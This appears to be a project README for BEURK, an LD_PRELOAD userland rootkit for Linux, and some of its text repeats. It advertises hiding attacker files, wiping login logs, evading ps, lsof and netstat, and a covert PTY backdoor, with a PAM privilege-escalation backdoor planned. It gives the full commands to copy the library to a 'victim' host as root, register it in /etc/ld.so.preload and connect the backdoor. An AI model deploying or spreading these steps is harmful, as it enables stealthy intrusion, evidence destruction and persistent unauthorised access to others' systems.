BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.
NOTE: BEURK is a recursive acronym for B EURK E xperimental U nix R oot K it
Features
Upcoming features
Usage
Dependencies
The following packages are not required in order to build BEURK at the moment:
![]()
NOTE: BEURK is a recursive acronym for B EURK E xperimental U nix R oot K it
Features
- Hide attacker files and directories
- Realtime log cleanup (on utmp/wtmp )
- Anti process and login detection
- Bypass unhide, lsof, ps, ldd, netstat analysis
- Furtive PTY backdoor client
Upcoming features
- ptrace(2) hooking for anti-debugging
- libpcap hooking undermines local sniffers
- PAM backdoor for local privilege escalation
Usage
- Compile
git clone https://github.com/unix-thrust/beurk.git
cd beurk
make- Install
scp libselinux.so root@victim.com:/lib/
ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'- Enjoy !
./client.py victim_ip:port # connect with furtive backdoorDependencies
The following packages are not required in order to build BEURK at the moment:
- libpcap - to avoid local sniffing
- libpam - for local PAM backdoor
- libssl - for encrypted backdoor connection
apt-get install libpcap-dev libpam-dev libssl-dev